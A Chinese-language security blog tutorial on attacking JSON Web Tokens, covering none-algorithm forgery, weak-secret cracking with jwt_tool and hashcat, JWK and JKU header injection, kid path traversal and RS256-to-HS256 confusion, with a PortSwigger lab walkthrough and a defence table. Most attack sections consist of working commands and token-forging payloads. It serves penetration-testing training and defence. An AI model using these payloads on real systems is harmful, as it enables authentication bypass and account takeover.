PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】JWT漏洞攻击实战:从None算法到密钥爆破与JWK注入(含完整Payload)

📅 2026年5月20日 📁 Hermes Agent ⏱ 4 分钟

1|【教程】JWT漏洞攻击实战:从None算法到密钥爆破与JWK注入(含完整Payload)

2|

3|> 适合读者:有基本Web安全基础,了解HTTP请求和JSON,想系统掌握JWT攻击的渗透测试人员

4|> 前置知识:Base64编码理解、基本HTTP抓包能力

5|

6|---

7|

8|## 一、前置准备

9|

10|### 工具清单

11|

12|| 工具 | 用途 | 安装方式 |

13||------|------|----------|

14|| jwt_tool | JWT综合检测/破解/伪造 | git clone https://github.com/ticarpi/jwt_tool && cd jwt_tool && pip3 install pycryptodomex |

15|| hashcat | 高性能JWT密钥爆破 | apt install hashcat |

16|| Burp Suite + JWT Editor | 图形化JWT修改与重放 | Burp Suite Extender → BApp Store → JWT Editor |

17|| jwt.io | 在线JWT调试 | 浏览器打开 https://jwt.io |

18|| Venom-JWT | 自动化JWT密钥爆破工具 | git clone https://github.com/z-bool/Venom-JWT |

19|

20|### 靶场准备

21|

22|推荐以下靶场(均可本地搭建或在线访问):

23|

24|- PortSwigger JWT Labs:https://portswigger.net/web-security/jwt (最推荐,场景最全)

25|- AuthLab Leaky JWT:https://authlab.digi.ninja/Leaky_JWT

26|- 本地搭建docker run -d -p 8080:80 websecuritylab/jwt-lab

27|

28|---

29|

30|## 二、JWT基础回顾(30秒速通)

31|

32|JWT = Header(算法声明)+ Payload(数据声明)+ Signature(防篡改)

33|

34|```

35|eyJhbG...VCJ9. ← Header: {"alg":"HS256","typ":"JWT"}

36|eyJzdW...0In0. ← Payload: {"sub":"user","role":"guest"}

37|SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← Signature

38|```

39|

40|> 核心认知:Payload只是Base64编码,不是加密!任何人都可以解码读取——看懂了吗?很多CTF题目里JWT里直接塞密码MD5,一解一个准。

41|

42|---

43|

44|## 三、攻击手法实战(重点)

45|

46|### 🔴 攻击一:None算法攻击(CVE-2015-9235)

47|

48|原理:部分JWT库允许alg:none的特殊处理——不验证签名。开发者如果没禁用"none"算法,攻击者直接把alg改成none,删掉签名部分就行。

49|

50|实操步骤

51|

52|```bash

53|# 1. 拿到原始JWT后,解码Header

54|echo 'eyJhbG...VCJ9' | base64 -d

55|# → {"alg":"HS256","typ":"JWT"}

56|

57|# 2. 直接改alg为none,修改payload提权

58|# 原始:{"sub":"wiener","role":"user"}

59|# 改为:{"sub":"administrator","role":"admin"}

60|```

61|

62|手动构造攻击JWT:

63|

64|```bash

65|# Header: alg=none

66|header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | sed 's/+/-/g;s/\//_/g;s/=//g')

67|# Payload: 提权admin

68|payload=$(echo -n '{"sub":"administrator","role":"admin"}' | base64 -w0 | sed 's/+/-/g;s/\//_/g;s/=//g')

69|# 拼接即可(不要签名部分)

70|echo "${header}.${payload}."

71|```

72|

73|使用jwt_tool一键完成

74|

75|```bash

76|python3 jwt_tool.py <JWT> -X a

77|```

78|

79|验证方法:用构造的JWT访问管理接口,如果200响应说明存在此漏洞。

80|

81|---

82|

83|### 🔴 攻击二:密钥暴力破解

84|

85|原理:很多开发用弱密钥签名JWT(常见如secret123456test),可暴力破解后伪造任意Token。

86|

87|实操步骤

88|

89|```bash

90|# 方法1: jwt_tool 字典爆破

91|python3 jwt_tool.py eyJhbG...yIn0.xxx -C -d /usr/share/wordlists/rockyou.txt

92|

93|# 方法2: hashcat(性能更优,支持GPU)

94|hashcat -a 0 -m 16500 eyJhbG...yIn0.xxx /usr/share/wordlists/rockyou.txt

95|

96|# 方法3: Venom-JWT 自动化(推荐,自带常见密钥库)

97|python3 venom-jwt.py -t http://target.com -d common_jwt_secrets.txt

98|```

99|

100|常用弱密钥Top 10(先试这些):

101|

102|```

103|secret, secret123, 123456, 12345678, password

104|admin, jwt_secret, test, demo, changeme

105|```

106|

107|破解后的利用

108|

109|```python

110|# Python伪造JWT

111|pip3 install pyjwt

112|python3 -c "

113|import jwt

114|token = jwt.encode({'sub':'administrator','role':'admin'}, 'secret', algorithm='HS256')

115|print(token)

116|"

117|```

118|

119|---

120|

121|### 🔴 攻击三:JWK头部注入(关键攻击)

122|

123|原理:服务器接受JWT Header中的jwk字段(嵌入的公钥)。攻击者生成自己的RSA密钥对,把公钥嵌入JWT的jwk字段,用私钥签名——服务器会用你给的公钥验签。

124|

125|实操步骤(Burp Suite + JWT Editor插件):

126|

127|1. 安装JWT Editor:Burp → Extender → BApp Store → 搜索"JWT Editor" → Install

128|2. 生成RSA密钥对:JWT Editor → New RSA Key → 生成2048位密钥

129|3. 修改JWT:Repeater中找到JWT请求 → JWT Editor中修改Payload(如sub改为administrator

130|4. 嵌入JWK:点击"Attack" → "Embedded JWK" → 选择刚生成的RSA密钥 → OK

131|5. 发送:查看响应,如果成功访问到/admin越权操作,说明漏洞存在

132|

133|手动CURL替代方案(无Burp时):

134|

135|```bash

136|# 1. 生成RSA密钥对

137|openssl genrsa -out private.pem 2048

138|openssl rsa -in private.pem -pubout -out public.pem

139|

140|# 2. 用jwt_tool构造带JWK的JWT

141|python3 jwt_tool.py <JWT> -X i -I -pc sub -pv administrator -pr private.pem

142|

143|# 3. 发送测试

144|curl -H "Authorization: Bearer *** https://target.com/admin

145|```

146|

147|---

148|

149|### 🔴 攻击四:JKU注入

150|

151|原理:服务器从jku头部指定的URL获取JWK公钥。如果攻击者能控制这个URL(比如在自己的服务器上托管恶意JWK),就能实现任意JWT伪造。

152|

153|实操步骤

154|

155|1. 生成RSA密钥对(同上)

156|

157|2. 在可控服务器上托管恶意JWK(利用exploit服务器/公开gist/云函数等):

158|

159|```json

160|{

161| "keys": [

162| {

163| "kty": "RSA",

164| "kid": "my-key-id",

165| "e": "AQAB",

166| "n": "u1483PJ5Gv..."

167| }

168| ]

169|}

170|```

171|

172|3. 构造攻击JWT

173|

174|```bash

175|python3 jwt_tool.py <JWT> -X s -ju https://your-server.com/jwk.json -pc sub -pv administrator

176|```

177|

178|4. 发送请求:如果服务器访问了你的JKU URL并从其中提取公钥验签,攻击即成功。

179|

180|---

181|

182|### 🔴 攻击五:kid路径遍历

183|

184|原理kid(Key ID)用于指定使用哪个密钥验证。如果后端用kid拼接路径查找密钥文件,可以通过../../dev/null路径遍历绕过。

185|

186|实操

187|

188|```bash

189|# 1. 构造对称密钥key为AA==(空字符串的base64编码)

190|# 2. 修改JWT Header:

191|# {"alg":"HS256","typ":"JWT","kid":"../../../../../../../dev/null"}

192|# 3. 用空字符串签名

193|python3 jwt_tool.py <JWT> -X k -kc "../../../../../../../dev/null" -pc sub -pv administrator

194|```

195|

196|核心思路:利用/dev/null(空文件相当于空密钥)作为对称密钥签名。

197|

198|---

199|

200|### 🔴 攻击六:算法混淆攻击(RS256→HS256)

201|

202|原理:服务器用RS256(非对称)验签,但JWT库的jwt.decode()通用方法支持HS256(对称),且公钥已知。攻击者用公钥作为HMAC密钥签名——服务器会用公钥验签,而公钥就是它自己的。最骚的是公钥通常是公开的(如/jwks.json)。

203|

204|实操步骤

205|

206|```bash

207|# 1. 获取公钥(通常访问 /jwks.json 或 /.well-known/jwks.json)

208|curl https://target.com/jwks.json

209|

210|# 2. 将公钥转为PEM格式,使用jwt_tool进行算法混淆攻击

211|python3 jwt_tool.py <JWT> -X k -pk public.pem

212|

213|# 3. 如果公钥未公开,可从两个合法JWT推导

214|docker run --rm -it portswigger/sig2n <jwt1> <jwt2>

215|```

216|

217|---

218|

219|## 四、实战靶场通关

220|

221|### 靶场:PortSwigger JWT Lab - 弱密钥爆破

222|

223|```

224|靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key

225|```

226|

227|完整通关步骤:

228|

229|```bash

230|# Step 1: 登录wiener:peter,抓取JWT

231|JWT="eyJraW...0N30.xxx"

232|

233|# Step 2: 爆破密钥

234|python3 jwt_tool.py $JWT -C -d /usr/share/wordlists/rockyou.txt

235|

236|# 假设破解出密钥为 secret1

237|

238|# Step 3: 伪造admin JWT

239|python3 -c "

240|import jwt

241|import time

242|payload = {'iss':'portswigger','sub':'administrator','exp':int(time.time())+3600}

243|print(jwt.encode(payload, 'secret1', algorithm='HS256'))

244|"

245|

246|# Step 4: 发送请求删除用户carlos

247|curl -X DELETE -H "Authorization: Bearer *** https://靶场URL/admin/delete?username=carlos

248|```

249|

250|---

251|

252|## 五、防御建议

253|

254|| 攻击方式 | 防御措施 |

255||----------|----------|

256|| None算法 | 禁用alg:none,使用白名单算法列表 |

257|| 弱密钥 | 使用256位以上随机密钥,定期轮换 |

258|| JWK注入 | 禁用jwk头部,仅从信任源获取公钥 |

259|| JKU注入 | 验证jku域名白名单 |

260|| kid路径遍历 | 对kid做路径校验,禁止..//dev/null |

261|| 算法混淆 | 校验算法严格匹配预期算法 |

262|| 敏感信息泄露 | 不要在Payload中放敏感数据 |

263|| 密钥硬编码 | 密钥从环境变量读取,别写死在代码里 |

264|

265|> 一句话总结:JWT的安全不取决于算法强度,而取决于你禁用了哪些不该存在的东西。

266|

267|---

268|

269|## 六、注意事项

270|

271|1. 测试前确认授权:JWT攻击会导致越权,在非授权目标上测试是违法行为

272|2. jwt_tool的-C参数需安装pycryptodomexpip3 install pycryptodomex

273|3. hashcat的-m 16500是JWT专用模式:别搞错hash-mode

274|4. base64 URL-safe编码:JWT使用的Base64是URL-safe版本(+-/_,去掉=

275|5. JWK的n和e字段:n是模数,e是指数,从PEM公钥提取。jwt_tool的'-X i'参数自动处理

276|

277|---

278|

279|本文首发于 PingSec 安全博客,转载请保留出处。

280|

← 返回首页